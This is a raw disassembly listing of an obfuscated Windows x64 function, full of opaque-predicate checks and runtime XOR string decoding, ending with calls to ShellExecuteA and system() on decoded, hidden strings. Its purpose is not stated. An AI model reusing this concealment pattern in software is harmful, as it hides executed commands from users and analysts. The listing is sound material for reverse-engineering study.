movsx eax, dl
imul r8d, eax, 0x31
movzx eax, r9b
sub al, r8b
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x18
jl 0x140010bd0
mov rdx, r11
mov rcx, rbx
call fcn.140001010
lea rdx, [rbp + 0x218]
cmp qword [rbp + 0x230], 0xf
cmova rdx, qword [rbp + 0x218]
mov r8, qword [rbp + 0x228]
mov rcx, rax
call fcn.140001270
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, r13d
jmp 0x140010c4d
movzx esi, byte [rsp + 0x40]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14001157c
cmp qword [rbp + 0x268], r12
je 0x140010ca7
cmp qword [rbp + 0x248], r12
mov rdx, r13
jne 0x140010caa
mov rdx, r12
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010d5f
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140010d5f
mov r9d, r14d
jmp 0x140010df7
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010df2
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140010df7
mov r9d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14001157c
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x258]
call fcn.1400055f0
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14001157c
mov rax, r12
cmp qword [rbp + 0x228], rax
setne al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010f57
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140010f57
mov r10d, r14d
jmp 0x140010fef
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140010fea
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
jmp 0x140010fef
mov r10d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14001157c
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14001157c
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x238]
call fcn.140008ce0
xor al, 1
movzx eax, al
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14001114a
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14001114a
mov r9d, r14d
jmp 0x1400111e2
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400111dd
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x1400111e2
mov r9d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14001157c
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov byte [rbp - 0x5b], r12b
lea rdx, [rbp + 0x128]
lea rcx, [rbp - 0x5b]
call fcn.1400039a0
mov r11, rax
cmp byte [rax + 0x1f], r12b
je 0x1400113d2
cmp dword [0x14001a010], 2
jl 0x140011391
movdqa xmm5, xmmword [0x140013b10]
mov edx, r12d
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140011292
jmp 0x1400113d2
mov r10, r11
mov r9d, r12d
nop word [rax + rax]
mov eax, 0x5397829d
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x31
movzx eax, r9b
sub al, r8b
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x20
jl 0x1400113a0
mov rdx, r11
mov rcx, rdi
call fcn.140001010
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400114dd
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x140011b63
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14001156f
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x140011573
mov eax, dword [rsp + 0x78]
cmp r12d, eax
jl 0x140011b63
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400117c2
test sil, sil
je 0x1400115ce
cmp qword [rbp + 0x228], r12
mov rdx, r13
jne 0x1400115d1
mov rdx, r12
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140011686
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140011686
mov r10d, r14d
jmp 0x14001171e
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140011719
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
jmp 0x14001171e
mov r10d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x1400117c2
lea r8, [rbp + 0x218]
cmp qword [rbp + 0x230], 0xf
cmova r8, qword [rbp + 0x218]
mov byte [rbp - 0x4b], r12b
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x4b]
call fcn.140003270
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1400117aa
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor cl, 0x3d
mov byte [rax + 4], cl
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400119d1
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400118b8
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x140011950
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14001194b
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140011950
mov r14d, dword [rsp + 0x78]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x1400119d1
mov byte [rbp - 0x59], r12b
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x59]
call fcn.140003b10
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400119c8
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140011ac1
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x140011b60
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140011b53
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x140011b57
mov eax, dword [rsp + 0x78]
cmp r12d, eax
jge 0x140011c60
mov r13d, r12d
mov rdx, qword [rbp + 0x230]
cmp rdx, 0xf
jbe 0x140011ba4
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011b9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011c98
call fcn.1400120c8
mov qword [rbp + 0x228], r12
mov qword [rbp + 0x230], 0xf
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x250]
cmp rdx, 0xf
jbe 0x140011bfe
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011bf9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011cf5
call fcn.1400120c8
mov qword [rbp + 0x248], r12
mov qword [rbp + 0x250], 0xf
mov byte [rbp + 0x238], 0
mov rdx, qword [rbp + 0x270]
cmp rdx, 0xf
jbe 0x140011c58
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011d52
call fcn.1400120c8
mov eax, r13d
jmp 0x140011d60
mov rdx, qword [rbp + 0x230]
cmp rdx, 0xf
jbe 0x140011ca4
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011c9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400120c8
mov qword [rbp + 0x228], r12
mov qword [rbp + 0x230], 0xf
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x250]
cmp rdx, 0xf
jbe 0x140011d01
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011cfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011cfc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400120c8
mov qword [rbp + 0x248], r12
mov qword [rbp + 0x250], 0xf
mov byte [rbp + 0x238], 0
mov rdx, qword [rbp + 0x270]
cmp rdx, 0xf
jbe 0x140011d5e
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011d59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011d59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400120c8
xor eax, eax
mov rcx, qword [rbp + 0x278]
xor rcx, rsp
call fcn.1400121f0
lea r11, [rsp + 0x400]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret